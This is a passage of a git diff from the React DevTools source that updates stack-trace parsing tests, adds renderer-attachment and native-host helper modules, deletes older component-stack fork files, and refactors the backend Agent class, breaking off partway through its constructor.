+        'webpack-internal:///(app-pages-browser)/./node_modules/next/dist/client/components/react-dev-overlay/hot-reloader-client.js',
+        307,
+        11,
+      ]);
     });
 
     it('should support Firefox stack', () => {
       expect(
-        parseSourceFromComponentStack(
+        extractLocationFromComponentStack(
           'tt@https://react.dev/_next/static/chunks/363-3c5f1b553b6be118.js:1:165558\n' +
             'f@https://react.dev/_next/static/chunks/pages/%5B%5B...markdownPath%5D%5D-af2ed613aedf1d57.js:1:8535\n' +
             'r@https://react.dev/_next/static/chunks/pages/_app-dd0b77ea7bd5b246.js:1:513',
         ),
-      ).toEqual({
-        sourceURL:
-          'https://react.dev/_next/static/chunks/363-3c5f1b553b6be118.js',
-        line: 1,
-        column: 165558,
-      });
+      ).toEqual([
+        'tt',
+        'https://react.dev/_next/static/chunks/363-3c5f1b553b6be118.js',
+        1,
+        165558,
+      ]);
+    });
+  });
+
+  describe('symbolicateSource', () => {
+    const source = `"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.f = f;
+function f() { }
+//# sourceMappingURL=`;
+    const result = {
+      location: ['', 'http://test/a.mts', 1, 17],
+      ignored: false,
+    };
+    const fs = {
+      'http://test/a.mts': `export function f() {}`,
+      'http://test/a.mjs.map': `{"version":3,"file":"a.mjs","sourceRoot":"","sources":["a.mts"],"names":[],"mappings":";;AAAA,cAAsB;AAAtB,SAAgB,CAAC,KAAI,CAAC"}`,
+      'http://test/a.mjs': `${source}a.mjs.map`,
+      'http://test/b.mjs': `${source}./a.mjs.map`,
+      'http://test/c.mjs': `${source}http://test/a.mjs.map`,
+      'http://test/d.mjs': `${source}/a.mjs.map`,
+    };
+    const fetchFileWithCaching = async (url: string) => fs[url] || null;
+    it('should parse source map urls', async () => {
+      const run = url => symbolicateSource(fetchFileWithCaching, url, 4, 10);
+      await expect(run('http://test/a.mjs')).resolves.toStrictEqual(result);
+      await expect(run('http://test/b.mjs')).resolves.toStrictEqual(result);
+      await expect(run('http://test/c.mjs')).resolves.toStrictEqual(result);
+      await expect(run('http://test/d.mjs')).resolves.toStrictEqual(result);
+    });
+
+    it('should not throw for invalid base URL with relative source map', async () => {
+      const fs2 = {
+        'bundle.js': `${source}bundle.js.map`,
+      };
+      const fetch2 = async url => fs2[url] || null;
+      const run = url => symbolicateSource(fetch2, url, 1, 1);
+      await expect(run('bundle.js')).resolves.toBe(null);
+    });
+
+    it('should resolve absolute source map even if base URL is invalid', async () => {
+      const fs3 = {
+        'invalid-base.js': `${source}http://test/a.mjs.map`,
+        'http://test/a.mts': `export function f() {}`,
+        'http://test/a.mjs.map': `{"version":3,"file":"a.mjs","sourceRoot":"","sources":["a.mts"],"names":[],"mappings":";;AAAA,cAAsB;AAAtB,SAAgB,CAAC,KAAI,CAAC"}`,
+      };
+      const fetch3 = async url => fs3[url] || null;
+      const run = url => symbolicateSource(fetch3, url, 4, 10);
+      await expect(run('invalid-base.js')).resolves.toStrictEqual(result);
     });
   });
 
@@ -434,5 +492,14 @@ describe('utils', () => {
         {},
       ]);
     });
+
+    it('formats nullish values', () => {
+      expect(formatConsoleArguments('This is the %s template', null)).toEqual([
+        'This is the null template',
+      ]);
+      expect(
+        formatConsoleArguments('This is the %s template', undefined),
+      ).toEqual(['This is the undefined template']);
+    });
   });
 });
diff --git a/packages/react-devtools-shared/src/__tests__/utils.js b/packages/react-devtools-shared/src/__tests__/utils.js
index c0c472e6816c..e84382f6fc0f 100644
--- a/packages/react-devtools-shared/src/__tests__/utils.js
+++ b/packages/react-devtools-shared/src/__tests__/utils.js
@@ -284,6 +284,19 @@ export function createHOCFilter(isEnabled: boolean = true) {
   };
 }
 
+export function createEnvironmentNameFilter(
+  env: string,
+  isEnabled: boolean = true,
+) {
+  const Types = require('react-devtools-shared/src/frontend/types');
+  return {
+    type: Types.ComponentFilterEnvironmentName,
+    isEnabled,
+    isValid: true,
+    value: env,
+  };
+}
+
 export function createElementTypeFilter(
   elementType: ElementType,
   isEnabled: boolean = true,
@@ -315,6 +328,19 @@ export function createLocationFilter(
   };
 }
 
+export function createActivitySliceFilter(
+  activityID: Element['id'],
+  isEnabled: boolean = true,
+) {
+  const Types = require('react-devtools-shared/src/frontend/types');
+  return {
+    type: Types.ComponentFilterActivitySlice,
+    isEnabled,
+    isValid: true,
+    activityID: activityID,
+  };
+}
+
 export function getRendererID(): number {
   if (global.agent == null) {
     throw Error('Agent unavailable.');
@@ -463,6 +489,9 @@ export function overrideFeatureFlags(overrideFlags) {
 }
 
 export function normalizeCodeLocInfo(str) {
+  if (typeof str === 'object' && str !== null) {
+    str = str.stack;
+  }
   if (typeof str !== 'string') {
     return str;
   }
diff --git a/packages/react-devtools-shared/src/attachRenderer.js b/packages/react-devtools-shared/src/attachRenderer.js
new file mode 100644
index 000000000000..fa230fe7eff9
--- /dev/null
+++ b/packages/react-devtools-shared/src/attachRenderer.js
@@ -0,0 +1,76 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {
+  ReactRenderer,
+  RendererInterface,
+  DevToolsHook,
+  RendererID,
+  ProfilingSettings,
+} from 'react-devtools-shared/src/backend/types';
+import type {ComponentFilter} from 'react-devtools-shared/src/frontend/types';
+
+import {attach as attachFlight} from 'react-devtools-shared/src/backend/flight/renderer';
+import {attach as attachFiber} from 'react-devtools-shared/src/backend/fiber/renderer';
+import {attach as attachLegacy} from 'react-devtools-shared/src/backend/legacy/renderer';
+import {hasAssignedBackend} from 'react-devtools-shared/src/backend/utils';
+
+// this is the backend that is compatible with all older React versions
+function isMatchingRender(version: string): boolean {
+  return !hasAssignedBackend(version);
+}
+
+export default function attachRenderer(
+  hook: DevToolsHook,
+  id: RendererID,
+  renderer: ReactRenderer,
+  global: Object,
+  shouldStartProfilingNow: boolean,
+  profilingSettings: ProfilingSettings,
+  componentFiltersOrComponentFiltersPromise:
+    | Array<ComponentFilter>
+    | Promise<Array<ComponentFilter>>,
+): RendererInterface | void {
+  // only attach if the renderer is compatible with the current version of the backend
+  if (!isMatchingRender(renderer.reconcilerVersion || renderer.version)) {
+    return;
+  }
+  let rendererInterface = hook.rendererInterfaces.get(id);
+
+  // Inject any not-yet-injected renderers (if we didn't reload-and-profile)
+  if (rendererInterface == null) {
+    if (typeof renderer.getCurrentComponentInfo === 'function') {
+      // react-flight/client
+      rendererInterface = attachFlight(hook, id, renderer, global);
+    } else if (
+      // v16-19
+      typeof renderer.findFiberByHostInstance === 'function' ||
+      // v16.8+
+      renderer.currentDispatcherRef != null
+    ) {
+      // react-reconciler v16+
+      rendererInterface = attachFiber(
+        hook,
+        id,
+        renderer,
+        global,
+        shouldStartProfilingNow,
+        profilingSettings,
+        componentFiltersOrComponentFiltersPromise,
+      );
+    } else if (renderer.ComponentTree) {
+      // react-dom v15
+      rendererInterface = attachLegacy(hook, id, renderer, global);
+    } else {
+      // Older react-dom or other unsupported renderer version
+    }
+  }
+
+  return rendererInterface;
+}
diff --git a/packages/react-devtools-shared/src/backend/DevToolsComponentStackFrame.js b/packages/react-devtools-shared/src/backend/DevToolsComponentStackFrame.js
deleted file mode 100644
index e20fb85e3cf5..000000000000
--- a/packages/react-devtools-shared/src/backend/DevToolsComponentStackFrame.js
+++ /dev/null
@@ -1,285 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-// This is a DevTools fork of ReactComponentStackFrame.
-// This fork enables DevTools to use the same "native" component stack format,
-// while still maintaining support for multiple renderer versions
-// (which use different values for ReactTypeOfWork).
-
-import type {CurrentDispatcherRef} from './types';
-
-// The shared console patching code is DEV-only.
-// We can't use it since DevTools only ships production builds.
-import {disableLogs, reenableLogs} from './DevToolsConsolePatching';
-
-let prefix;
-export function describeBuiltInComponentFrame(name: string): string {
-  if (prefix === undefined) {
-    // Extract the VM specific prefix used by each line.
-    try {
-      throw Error();
-    } catch (x) {
-      const match = x.stack.trim().match(/\n( *(at )?)/);
-      prefix = (match && match[1]) || '';
-    }
-  }
-  // We use the prefix to ensure our stacks line up with native stack frames.
-  return '\n' + prefix + name;
-}
-
-export function describeDebugInfoFrame(name: string, env: ?string): string {
-  return describeBuiltInComponentFrame(name + (env ? ' (' + env + ')' : ''));
-}
-
-let reentry = false;
-let componentFrameCache;
-if (__DEV__) {
-  const PossiblyWeakMap = typeof WeakMap === 'function' ? WeakMap : Map;
-  componentFrameCache = new PossiblyWeakMap<$FlowFixMe, string>();
-}
-
-export function describeNativeComponentFrame(
-  fn: Function,
-  construct: boolean,
-  currentDispatcherRef: CurrentDispatcherRef,
-): string {
-  // If something asked for a stack inside a fake render, it should get ignored.
-  if (!fn || reentry) {
-    return '';
-  }
-
-  if (__DEV__) {
-    const frame = componentFrameCache.get(fn);
-    if (frame !== undefined) {
-      return frame;
-    }
-  }
-
-  const previousPrepareStackTrace = Error.prepareStackTrace;
-  // $FlowFixMe[incompatible-type] It does accept undefined.
-  Error.prepareStackTrace = undefined;
-
-  reentry = true;
-
-  // Override the dispatcher so effects scheduled by this shallow render are thrown away.
-  //
-  // Note that unlike the code this was forked from (in ReactComponentStackFrame)
-  // DevTools should override the dispatcher even when DevTools is compiled in production mode,
-  // because the app itself may be in development mode and log errors/warnings.
-  const previousDispatcher = currentDispatcherRef.H;
-  currentDispatcherRef.H = null;
-  disableLogs();
-
-  // NOTE: keep in sync with the implementation in ReactComponentStackFrame
-
-  /**
-   * Finding a common stack frame between sample and control errors can be
-   * tricky given the different types and levels of stack trace truncation from
-   * different JS VMs. So instead we'll attempt to control what that common
-   * frame should be through this object method:
-   * Having both the sample and control errors be in the function under the
-   * `DescribeNativeComponentFrameRoot` property, + setting the `name` and
-   * `displayName` properties of the function ensures that a stack
-   * frame exists that has the method name `DescribeNativeComponentFrameRoot` in
-   * it for both control and sample stacks.
-   */
-  const RunInRootFrame = {
-    DetermineComponentFrameRoot(): [?string, ?string] {
-      let control;
-      try {
-        // This should throw.
-        if (construct) {
-          // Something should be setting the props in the constructor.
-          const Fake = function () {
-            throw Error();
-          };
-          // $FlowFixMe[prop-missing]
-          Object.defineProperty(Fake.prototype, 'props', {
-            set: function () {
-              // We use a throwing setter instead of frozen or non-writable props
-              // because that won't throw in a non-strict mode function.
-              throw Error();
-            },
-          });
-          if (typeof Reflect === 'object' && Reflect.construct) {
-            // We construct a different control for this case to include any extra
-            // frames added by the construct call.
-            try {
-              Reflect.construct(Fake, []);
-            } catch (x) {
-              control = x;
-            }
-            Reflect.construct(fn, [], Fake);
-          } else {
-            try {
-              Fake.call();
-            } catch (x) {
-              control = x;
-            }
-            // $FlowFixMe[prop-missing] found when upgrading Flow
-            fn.call(Fake.prototype);
-          }
-        } else {
-          try {
-            throw Error();
-          } catch (x) {
-            control = x;
-          }
-          // TODO(luna): This will currently only throw if the function component
-          // tries to access React/ReactDOM/props. We should probably make this throw
-          // in simple components too
-          const maybePromise = fn();
-
-          // If the function component returns a promise, it's likely an async
-          // component, which we don't yet support. Attach a noop catch handler to
-          // silence the error.
-          // TODO: Implement component stacks for async client components?
-          if (maybePromise && typeof maybePromise.catch === 'function') {
-            maybePromise.catch(() => {});
-          }
-        }
-      } catch (sample) {
-        // This is inlined manually because closure doesn't do it for us.
-        if (sample && control && typeof sample.stack === 'string') {
-          return [sample.stack, control.stack];
-        }
-      }
-      return [null, null];
-    },
-  };
-  // $FlowFixMe[prop-missing]
-  RunInRootFrame.DetermineComponentFrameRoot.displayName =
-    'DetermineComponentFrameRoot';
-  const namePropDescriptor = Object.getOwnPropertyDescriptor(
-    RunInRootFrame.DetermineComponentFrameRoot,
-    'name',
-  );
-  // Before ES6, the `name` property was not configurable.
-  if (namePropDescriptor && namePropDescriptor.configurable) {
-    // V8 utilizes a function's `name` property when generating a stack trace.
-    Object.defineProperty(
-      RunInRootFrame.DetermineComponentFrameRoot,
-      // Configurable properties can be updated even if its writable descriptor
-      // is set to `false`.
-      // $FlowFixMe[cannot-write]
-      'name',
-      {value: 'DetermineComponentFrameRoot'},
-    );
-  }
-
-  try {
-    const [sampleStack, controlStack] =
-      RunInRootFrame.DetermineComponentFrameRoot();
-    if (sampleStack && controlStack) {
-      // This extracts the first frame from the sample that isn't also in the control.
-      // Skipping one frame that we assume is the frame that calls the two.
-      const sampleLines = sampleStack.split('\n');
-      const controlLines = controlStack.split('\n');
-      let s = 0;
-      let c = 0;
-      while (
-        s < sampleLines.length &&
-        !sampleLines[s].includes('DetermineComponentFrameRoot')
-      ) {
-        s++;
-      }
-      while (
-        c < controlLines.length &&
-        !controlLines[c].includes('DetermineComponentFrameRoot')
-      ) {
-        c++;
-      }
-      // We couldn't find our intentionally injected common root frame, attempt
-      // to find another common root frame by search from the bottom of the
-      // control stack...
-      if (s === sampleLines.length || c === controlLines.length) {
-        s = sampleLines.length - 1;
-        c = controlLines.length - 1;
-        while (s >= 1 && c >= 0 && sampleLines[s] !== controlLines[c]) {
-          // We expect at least one stack frame to be shared.
-          // Typically this will be the root most one. However, stack frames may be
-          // cut off due to maximum stack limits. In this case, one maybe cut off
-          // earlier than the other. We assume that the sample is longer or the same
-          // and there for cut off earlier. So we should find the root most frame in
-          // the sample somewhere in the control.
-          c--;
-        }
-      }
-      for (; s >= 1 && c >= 0; s--, c--) {
-        // Next we find the first one that isn't the same which should be the
-        // frame that called our sample function and the control.
-        if (sampleLines[s] !== controlLines[c]) {
-          // In V8, the first line is describing the message but other VMs don't.
-          // If we're about to return the first line, and the control is also on the same
-          // line, that's a pretty good indicator that our sample threw at same line as
-          // the control. I.e. before we entered the sample frame. So we ignore this result.
-          // This can happen if you passed a class to function component, or non-function.
-          if (s !== 1 || c !== 1) {
-            do {
-              s--;
-              c--;
-              // We may still have similar intermediate frames from the construct call.
-              // The next one that isn't the same should be our match though.
-              if (c < 0 || sampleLines[s] !== controlLines[c]) {
-                // V8 adds a "new" prefix for native classes. Let's remove it to make it prettier.
-                let frame = '\n' + sampleLines[s].replace(' at new ', ' at ');
-
-                // If our component frame is labeled "<anonymous>"
-                // but we have a user-provided "displayName"
-                // splice it in to make the stack more readable.
-                if (fn.displayName && frame.includes('<anonymous>')) {
-                  frame = frame.replace('<anonymous>', fn.displayName);
-                }
-
-                if (__DEV__) {
-                  if (typeof fn === 'function') {
-                    componentFrameCache.set(fn, frame);
-                  }
-                }
-                // Return the line we found.
-                return frame;
-              }
-            } while (s >= 1 && c >= 0);
-          }
-          break;
-        }
-      }
-    }
-  } finally {
-    reentry = false;
-
-    Error.prepareStackTrace = previousPrepareStackTrace;
-
-    currentDispatcherRef.H = previousDispatcher;
-    reenableLogs();
-  }
-  // Fallback to just using the name if we couldn't make it throw.
-  const name = fn ? fn.displayName || fn.name : '';
-  const syntheticFrame = name ? describeBuiltInComponentFrame(name) : '';
-  if (__DEV__) {
-    if (typeof fn === 'function') {
-      componentFrameCache.set(fn, syntheticFrame);
-    }
-  }
-  return syntheticFrame;
-}
-
-export function describeClassComponentFrame(
-  ctor: Function,
-  currentDispatcherRef: CurrentDispatcherRef,
-): string {
-  return describeNativeComponentFrame(ctor, true, currentDispatcherRef);
-}
-
-export function describeFunctionComponentFrame(
-  fn: Function,
-  currentDispatcherRef: CurrentDispatcherRef,
-): string {
-  return describeNativeComponentFrame(fn, false, currentDispatcherRef);
-}
diff --git a/packages/react-devtools-shared/src/backend/DevToolsFiberComponentStack.js b/packages/react-devtools-shared/src/backend/DevToolsFiberComponentStack.js
deleted file mode 100644
index a4311797de36..000000000000
--- a/packages/react-devtools-shared/src/backend/DevToolsFiberComponentStack.js
+++ /dev/null
@@ -1,107 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-// This is a DevTools fork of ReactFiberComponentStack.
-// This fork enables DevTools to use the same "native" component stack format,
-// while still maintaining support for multiple renderer versions
-// (which use different values for ReactTypeOfWork).
-
-import type {Fiber} from 'react-reconciler/src/ReactInternalTypes';
-import type {CurrentDispatcherRef, WorkTagMap} from './types';
-
-import {
-  describeBuiltInComponentFrame,
-  describeFunctionComponentFrame,
-  describeClassComponentFrame,
-  describeDebugInfoFrame,
-} from './DevToolsComponentStackFrame';
-
-export function describeFiber(
-  workTagMap: WorkTagMap,
-  workInProgress: Fiber,
-  currentDispatcherRef: CurrentDispatcherRef,
-): string {
-  const {
-    HostComponent,
-    LazyComponent,
-    SuspenseComponent,
-    SuspenseListComponent,
-    FunctionComponent,
-    IndeterminateComponent,
-    SimpleMemoComponent,
-    ForwardRef,
-    ClassComponent,
-  } = workTagMap;
-
-  switch (workInProgress.tag) {
-    case HostComponent:
-      return describeBuiltInComponentFrame(workInProgress.type);
-    case LazyComponent:
-      return describeBuiltInComponentFrame('Lazy');
-    case SuspenseComponent:
-      return describeBuiltInComponentFrame('Suspense');
-    case SuspenseListComponent:
-      return describeBuiltInComponentFrame('SuspenseList');
-    case FunctionComponent:
-    case IndeterminateComponent:
-    case SimpleMemoComponent:
-      return describeFunctionComponentFrame(
-        workInProgress.type,
-        currentDispatcherRef,
-      );
-    case ForwardRef:
-      return describeFunctionComponentFrame(
-        workInProgress.type.render,
-        currentDispatcherRef,
-      );
-    case ClassComponent:
-      return describeClassComponentFrame(
-        workInProgress.type,
-        currentDispatcherRef,
-      );
-    default:
-      return '';
-  }
-}
-
-export function getStackByFiberInDevAndProd(
-  workTagMap: WorkTagMap,
-  workInProgress: Fiber,
-  currentDispatcherRef: CurrentDispatcherRef,
-): string {
-  try {
-    let info = '';
-    let node: Fiber = workInProgress;
-    do {
-      info += describeFiber(workTagMap, node, currentDispatcherRef);
-      // Add any Server Component stack frames in reverse order.
-      const debugInfo = node._debugInfo;
-      if (debugInfo) {
-        for (let i = debugInfo.length - 1; i >= 0; i--) {
-          const entry = debugInfo[i];
-          if (typeof entry.name === 'string') {
-            info += describeDebugInfoFrame(entry.name, entry.env);
-          }
-        }
-      }
-      // $FlowFixMe[incompatible-type] we bail out when we get a null
-      node = node.return;
-    } while (node);
-    return info;
-  } catch (x) {
-    return '\nError generating stack: ' + x.message + '\n' + x.stack;
-  }
-}
-
-export function supportsNativeConsoleTasks(fiber: Fiber): boolean {
-  // If this Fiber supports native console.createTask then we are already running
-  // inside a native async stack trace if it's active - meaning the DevTools is open.
-  // Ideally we'd detect if this task was created while the DevTools was open or not.
-  return !!fiber._debugTask;
-}
diff --git a/packages/react-devtools-shared/src/backend/DevToolsNativeHost.js b/packages/react-devtools-shared/src/backend/DevToolsNativeHost.js
new file mode 100644
index 000000000000..bb72210e3b48
--- /dev/null
+++ b/packages/react-devtools-shared/src/backend/DevToolsNativeHost.js
@@ -0,0 +1,64 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {HostInstance} from './types';
+
+// Some environments (e.g. React Native / Hermes) don't support the performance API yet.
+export const getCurrentTime: () => number =
+  // $FlowFixMe[method-unbinding]
+  typeof performance === 'object' && typeof performance.now === 'function'
+    ? () => performance.now()
+    : () => Date.now();
+
+// Ideally, this should be injected from Reconciler config
+export function getPublicInstance(instance: HostInstance): HostInstance {
+  // Typically the PublicInstance and HostInstance is the same thing but not in Fabric.
+  // So we need to detect this and use that as the public instance.
+
+  // React Native. Modern. Fabric.
+  if (typeof instance === 'object' && instance !== null) {
+    if (typeof instance.canonical === 'object' && instance.canonical !== null) {
+      if (
+        typeof instance.canonical.publicInstance === 'object' &&
+        instance.canonical.publicInstance !== null
+      ) {
+        return instance.canonical.publicInstance;
+      }
+    }
+
+    // React Native. Legacy. Paper.
+    if (typeof instance._nativeTag === 'number') {
+      return instance._nativeTag;
+    }
+  }
+
+  // React Web. Usually a DOM element.
+  return instance;
+}
+
+export function getNativeTag(instance: HostInstance): number | null {
+  if (typeof instance !== 'object' || instance === null) {
+    return null;
+  }
+
+  // Modern. Fabric.
+  if (
+    instance.canonical != null &&
+    typeof instance.canonical.nativeTag === 'number'
+  ) {
+    return instance.canonical.nativeTag;
+  }
+
+  // Legacy.  Paper.
+  if (typeof instance._nativeTag === 'number') {
+    return instance._nativeTag;
+  }
+
+  return null;
+}
diff --git a/packages/react-devtools-shared/src/backend/NativeStyleEditor/setupNativeStyleEditor.js b/packages/react-devtools-shared/src/backend/NativeStyleEditor/setupNativeStyleEditor.js
index 728f0e691c98..7a8bfff43bf2 100644
--- a/packages/react-devtools-shared/src/backend/NativeStyleEditor/setupNativeStyleEditor.js
+++ b/packages/react-devtools-shared/src/backend/NativeStyleEditor/setupNativeStyleEditor.js
@@ -194,7 +194,7 @@ function renameStyle(
   const {instance, style} = data;
 
   const newStyle = newName
-    ? {[oldName]: undefined, [newName]: value}
+    ? {[oldName]: (undefined: string | void), [newName]: value}
     : {[oldName]: undefined};
 
   let customStyle;
diff --git a/packages/react-devtools-shared/src/backend/agent.js b/packages/react-devtools-shared/src/backend/agent.js
index 54df48bfe87f..18f3e208408b 100644
--- a/packages/react-devtools-shared/src/backend/agent.js
+++ b/packages/react-devtools-shared/src/backend/agent.js
@@ -8,42 +8,42 @@
  */
 
 import EventEmitter from '../events';
-import throttle from 'lodash.throttle';
 import {
   SESSION_STORAGE_LAST_SELECTION_KEY,
-  SESSION_STORAGE_RELOAD_AND_PROFILE_KEY,
-  SESSION_STORAGE_RECORD_CHANGE_DESCRIPTIONS_KEY,
+  UNKNOWN_SUSPENDERS_NONE,
   __DEBUG__,
 } from '../constants';
-import {
-  sessionStorageGetItem,
-  sessionStorageRemoveItem,
-  sessionStorageSetItem,
-} from 'react-devtools-shared/src/storage';
 import setupHighlighter from './views/Highlighter';
 import {
   initialize as setupTraceUpdates,
   toggleEnabled as setTraceUpdatesEnabled,
 } from './views/TraceUpdates';
-import {patch as patchConsole} from './console';
 import {currentBridgeProtocol} from 'react-devtools-shared/src/bridge';
 
 import type {BackendBridge} from 'react-devtools-shared/src/bridge';
 import type {
   InstanceAndStyle,
-  NativeType,
+  HostInstance,
   OwnersList,
   PathFrame,
   PathMatch,
   RendererID,
   RendererInterface,
-  ConsolePatchSettings,
+  DevToolsHookSettings,
+  InspectedElement,
 } from './types';
 import type {
   ComponentFilter,
-  BrowserTheme,
+  DehydratedData,
+  ElementType,
 } from 'react-devtools-shared/src/frontend/types';
-import {isSynchronousXHRSupported} from './utils';
+import type {GroupItem} from './views/TraceUpdates/canvas';
+import {isReactNativeEnvironment} from './utils';
+import {
+  sessionStorageGetItem,
+  sessionStorageRemoveItem,
+  sessionStorageSetItem,
+} from '../storage';
 
 const debug = (methodName: string, ...args: Array<string>) => {
   if (__DEBUG__) {
@@ -82,6 +82,13 @@ type InspectElementParams = {
   requestID: number,
 };
 
+type InspectScreenParams = {
+  forceFullData: boolean,
+  id: number,
+  path: Array<string | number> | null,
+  requestID: number,
+};
+
 type OverrideHookParams = {
   id: number,
   hookID: number,
@@ -139,44 +146,157 @@ type OverrideSuspenseParams = {
   forceFallback: boolean,
 };
 
+type OverrideSuspenseMilestoneParams = {
+  rendererID: number,
+  suspendedSet: Array<number>,
+};
+
 type PersistedSelection = {
   rendererID: number,
   path: Array<PathFrame>,
 };
 
+function createEmptyInspectedScreen(
+  arbitraryRootID: number,
+  type: ElementType,
+): InspectedElement {
+  const suspendedBy: DehydratedData = {
+    cleaned: [],
+    data: [],
+    unserializable: [],
+  };
+  return {
+    // invariants
+    id: arbitraryRootID,
+    type: type,
+    // Properties we merge
+    isErrored: false,
+    errors: [],
+    warnings: [],
+    suspendedBy,
+    suspendedByRange: null,
+    // TODO: How to merge these?
+    unknownSuspenders: UNKNOWN_SUSPENDERS_NONE,
+    // Properties where merging doesn't make sense so we ignore them entirely in the UI
+    rootType: null,
+    plugins: {stylex: null},
+    nativeTag: null,
+    env: null,
+    source: null,
+    stack: null,
+    rendererPackageName: null,
+    rendererVersion: null,
+    // These don't make sense for a Root. They're just bottom values.
+    key: null,
+    canEditFunctionProps: false,
+    canEditHooks: false,
+    canEditFunctionPropsDeletePaths: false,
+    canEditFunctionPropsRenamePaths: false,
+    canEditHooksAndDeletePaths: false,
+    canEditHooksAndRenamePaths: false,
+    canToggleError: false,
+    canToggleSuspense: false,
+    isSuspended: false,
+    hasLegacyContext: false,
+    context: null,
+    hooks: null,
+    props: null,
+    state: null,
+    owners: null,
+  };
+}
+
+function mergeRoots(
+  left: InspectedElement,
+  right: InspectedElement,
+  suspendedByOffset: number,
+): void {
+  const leftSuspendedByRange = left.suspendedByRange;
+  const rightSuspendedByRange = right.suspendedByRange;
+
+  if (right.isErrored) {
+    left.isErrored = true;
+  }
+  for (let i = 0; i < right.errors.length; i++) {
+    left.errors.push(right.errors[i]);
+  }
+  for (let i = 0; i < right.warnings.length; i++) {
+    left.warnings.push(right.warnings[i]);
+  }
+
+  const leftSuspendedBy: DehydratedData = left.suspendedBy;
+  const {data, cleaned, unserializable} = (right.suspendedBy: DehydratedData);
+  const leftSuspendedByData = ((leftSuspendedBy.data: any): Array<mixed>);
+  const rightSuspendedByData = ((data: any): Array<mixed>);
+  for (let i = 0; i < rightSuspendedByData.length; i++) {
+    leftSuspendedByData.push(rightSuspendedByData[i]);
+  }
+  for (let i = 0; i < cleaned.length; i++) {
+    leftSuspendedBy.cleaned.push(
+      [suspendedByOffset + cleaned[i][0]].concat(cleaned[i].slice(1)),
+    );
+  }
+  for (let i = 0; i < unserializable.length; i++) {
+    leftSuspendedBy.unserializable.push(
+      [suspendedByOffset + unserializable[i][0]].concat(
+        unserializable[i].slice(1),
+      ),
+    );
+  }
+
+  if (rightSuspendedByRange !== null) {
+    if (leftSuspendedByRange === null) {
+      left.suspendedByRange = [
+        rightSuspendedByRange[0],
+        rightSuspendedByRange[1],
+      ];
+    } else {
+      if (rightSuspendedByRange[0] < leftSuspendedByRange[0]) {
+        leftSuspendedByRange[0] = rightSuspendedByRange[0];
+      }
+      if (rightSuspendedByRange[1] > leftSuspendedByRange[1]) {
+        leftSuspendedByRange[1] = rightSuspendedByRange[1];
+      }
+    }
+  }
+}
+
 export default class Agent extends EventEmitter<{
   hideNativeHighlight: [],
-  showNativeHighlight: [NativeType],
+  showNativeHighlight: [HostInstance],
   startInspectingNative: [],
   stopInspectingNative: [],
   shutdown: [],
-  traceUpdates: [Set<NativeType>],
-  drawTraceUpdates: [Array<NativeType>],
+  traceUpdates: [Set<HostInstance>],
+  drawTraceUpdates: [Array<HostInstance>],
+  drawGroupedTraceUpdatesWithNames: [Array<Array<GroupItem>>],
   disableTraceUpdates: [],
+  getIfHasUnsupportedRendererVersion: [],
+  updateHookSettings: [$ReadOnly<DevToolsHookSettings>],
+  getHookSettings: [],
 }> {
   _bridge: BackendBridge;
   _isProfiling: boolean = false;
-  _recordChangeDescriptions: boolean = false;
   _rendererInterfaces: {[key: RendererID]: RendererInterface, ...} = {};
   _persistedSelection: PersistedSelection | null = null;
   _persistedSelectionMatch: PathMatch | null = null;
   _traceUpdatesEnabled: boolean = false;
-
-  constructor(bridge: BackendBridge) {
+  _onReloadAndProfile:
+    | ((recordChangeDescriptions: boolean, recordTimeline: boolean) => void)
+    | void;
+
+  constructor(
+    bridge: BackendBridge,
+    isProfiling: boolean = false,
+    onReloadAndProfile?: (
+      recordChangeDescriptions: boolean,
+      recordTimeline: boolean,
+    ) => void,
+  ) {
     super();
 
-    if (
-      sessionStorageGetItem(SESSION_STORAGE_RELOAD_AND_PROFILE_KEY) === 'true'
-    ) {
-      this._recordChangeDescriptions =
-        sessionStorageGetItem(
-          SESSION_STORAGE_RECORD_CHANGE_DESCRIPTIONS_KEY,
-        ) === 'true';
-      this._isProfiling = true;
-
-      sessionStorageRemoveItem(SESSION_STORAGE_RECORD_CHANGE_DESCRIPTIONS_KEY);
-      sessionStorageRemoveItem(SESSION_STORAGE_RELOAD_AND_PROFILE_KEY);
-    }
+    this._isProfiling = isProfiling;
+    this._onReloadAndProfile = onReloadAndProfile;
 
     const persistedSelectionString = sessionStorageGetItem(
       SESSION_STORAGE_LAST_SELECTION_KEY,
@@ -188,8 +308,11 @@ export default class Agent extends EventEmitter<{
     this._bridge = bridge;
 
     bridge.addListener('clearErrorsAndWarnings', this.clearErrorsAndWarnings);
-    bridge.addListener('clearErrorsForFiberID', this.clearErrorsForFiberID);
-    bridge.addListener('clearWarningsForFiberID', this.clearWarningsForFiberID);
+    bridge.addListener('clearErrorsForElementID', this.clearErrorsForElementID);
+    bridge.addListener(
+      'clearWarningsForElementID',
+      this.clearWarningsForElementID,
+    );
     bridge.addListener('copyElementPath', this.copyElementPath);
     bridge.addListener('deletePath', this.deletePath);
     bridge.addListener('getBackendVersion', this.getBackendVersion);
@@ -198,9 +321,14 @@ export default class Agent extends EventEmitter<{
     bridge.addListener('getProfilingStatus', this.getProfilingStatus);
     bridge.addListener('getOwnersList', this.getOwnersList);
     bridge.addListener('inspectElement', this.inspectElement);
+    bridge.addListener('inspectScreen', this.inspectScreen);
     bridge.addListener('logElementToConsole', this.logElementToConsole);
     bridge.addListener('overrideError', this.overrideError);
     bridge.addListener('overrideSuspense', this.overrideSuspense);
+    bridge.addListener(
+      'overrideSuspenseMilestone',
+      this.overrideSuspenseMilestone,
+    );
     bridge.addListener('overrideValueAtPath', this.overrideValueAtPath);
     bridge.addListener('reloadAndProfile', this.reloadAndProfile);
     bridge.addListener('renamePath', this.renamePath);
@@ -209,17 +337,20 @@ export default class Agent extends EventEmitter<{
     bridge.addListener('stopProfiling', this.stopProfiling);
